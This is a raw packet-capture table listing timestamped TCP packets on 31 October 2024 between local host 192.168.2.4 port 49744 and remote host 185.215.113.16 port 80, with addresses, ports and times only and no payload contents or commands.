Oct 31, 2024 03:03:33.805310965 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:33.805335999 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:33.805706978 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.805726051 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.805738926 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.805785894 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.805785894 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:33.805798054 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.805809021 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.805830956 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.805831909 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:33.805841923 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.805855036 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:33.805891037 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:33.805903912 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.805959940 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.805972099 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.806006908 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:33.806008101 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.806020975 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.806032896 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.806056023 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:33.806076050 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:33.806087017 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.806097984 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.806104898 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.806149006 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:33.806246042 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.806262016 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.806274891 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.806291103 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:33.806303978 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.806314945 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.806324959 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:33.806325912 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.806339979 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.806364059 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:33.806385994 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:33.806438923 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.806448936 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.806458950 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.806473970 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.806484938 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.806484938 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:33.806497097 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.806509972 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.806529045 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:33.806549072 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:33.806566954 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.806579113 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.806588888 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.806608915 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.806612015 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:33.806621075 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.806633949 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.806639910 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:33.806648016 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.806657076 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.806674004 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:33.806685925 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.806696892 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.806709051 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.806714058 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:33.806720972 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.806761026 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:33.806797981 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.806807041 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.806813002 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.806823969 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.806833982 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.806844950 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.806849003 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:33.806857109 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.806869030 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.806874990 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:33.806881905 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.806894064 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.806906939 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:33.806935072 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:33.807019949 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.807030916 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.807045937 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.807060003 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.807068110 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:33.807071924 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.807084084 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.807091951 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:33.807096004 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.807110071 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.807113886 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:33.807149887 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.807163954 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.807173014 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:33.807174921 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.807188034 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.807200909 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.807212114 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:33.807216883 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.807230949 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.807236910 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:33.807240963 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.807281017 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:33.807332039 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.807346106 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.807358980 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.807369947 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.807374001 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:33.807383060 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.807393074 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.807399988 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:33.807406902 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.807419062 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.807425022 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:33.807441950 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.807444096 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:33.807454109 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.807465076 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.807497978 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:33.807518959 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:33.807555914 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.807566881 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.807579994 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.807593107 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.807601929 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:33.807605028 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.807615995 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.807626009 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.807627916 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:33.807638884 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.807650089 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.807672024 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.807677031 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:33.807682991 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.807703972 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:33.807708979 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.807718992 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.807730913 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.807730913 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:33.807750940 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:33.807759047 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.807770967 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.807779074 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:33.807780027 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.807806015 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:33.813613892 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:33.923870087 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.923883915 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.923902035 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.923914909 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.923923969 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.923937082 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.923949957 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.923949003 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:33.923962116 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.924000025 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:33.924019098 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:33.924220085 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.924259901 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.924271107 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.924314976 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:33.924330950 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.924350023 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.924364090 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.924376011 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.924379110 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:33.924387932 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.924427986 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.924427986 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:33.924437046 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.924457073 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:33.924489975 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.924499035 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:33.924499035 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.924525976 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.924546003 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:33.924578905 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.924595118 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.924613953 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.924622059 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:33.924624920 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.924637079 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.924650908 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:33.924664021 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.924686909 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:33.924702883 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.924721956 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.924746037 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:33.924799919 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.924812078 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.924822092 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.924833059 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.924855947 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:33.924880981 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.924895048 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:33.924900055 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.924925089 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:33.924952030 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.924969912 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.924979925 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.924990892 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.925002098 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.925004005 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:33.925013065 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.925024986 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.925029039 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:33.925043106 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.925065041 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:33.925081015 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.925091028 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.925093889 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:33.925103903 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.925126076 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:33.925149918 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:33.925175905 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.925187111 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.925205946 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.925216913 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.925226927 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:33.925228119 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.925245047 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.925263882 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:33.925292015 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.925302982 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.925318956 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:33.925343990 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.925354958 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.925363064 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:33.925389051 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:33.925395966 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.925407887 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.925420046 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.925431013 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.925441980 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.925445080 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:33.925467968 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:33.925482035 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.925492048 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.925498009 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.925514936 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.925524950 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.925539017 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.925549984 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.925559998 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.925563097 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:33.925601006 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:33.925677061 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.925693989 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.925710917 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.925734997 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:33.925765991 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.925777912 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.925779104 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:33.925801992 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.925813913 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.925815105 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:33.925825119 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.925838947 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.925848961 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:33.925853014 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.925903082 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:33.925926924 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.925939083 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.925949097 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.925960064 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.925970078 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.925976038 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:33.925998926 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:33.926017046 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:33.926023960 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.926034927 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.926045895 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.926059961 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.926073074 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:33.926081896 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.926093102 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.926111937 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.926125050 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.926136017 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.926136017 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:33.926146984 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.926161051 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:33.926163912 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.926182032 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.926187992 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:33.926193953 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.926240921 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:33.960644960 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.960696936 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.960706949 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.960712910 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.960717916 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:33.960719109 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.960731983 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.960777998 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:33.960813999 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.960865974 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:33.960871935 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.960884094 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.960911036 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.960922956 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.960931063 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:33.960962057 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.960964918 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:33.960973024 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.960984945 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.960997105 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.961008072 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:33.961009026 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.961024046 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.961035013 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.961045027 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.961069107 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:33.961103916 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:33.961128950 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.961138964 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.961144924 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.961149931 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.961173058 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.961184025 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.961189032 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:33.961196899 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.961210966 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.961221933 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:33.961222887 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.961240053 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.961249113 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:33.961253881 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.961266041 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.961308002 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.961308956 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:33.961319923 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.961332083 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:33.961338043 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.961347103 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.961364985 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.961378098 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.961386919 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:33.961389065 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.961415052 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:33.961433887 CET	49744	80	192.168.2.4	185.215.113.16
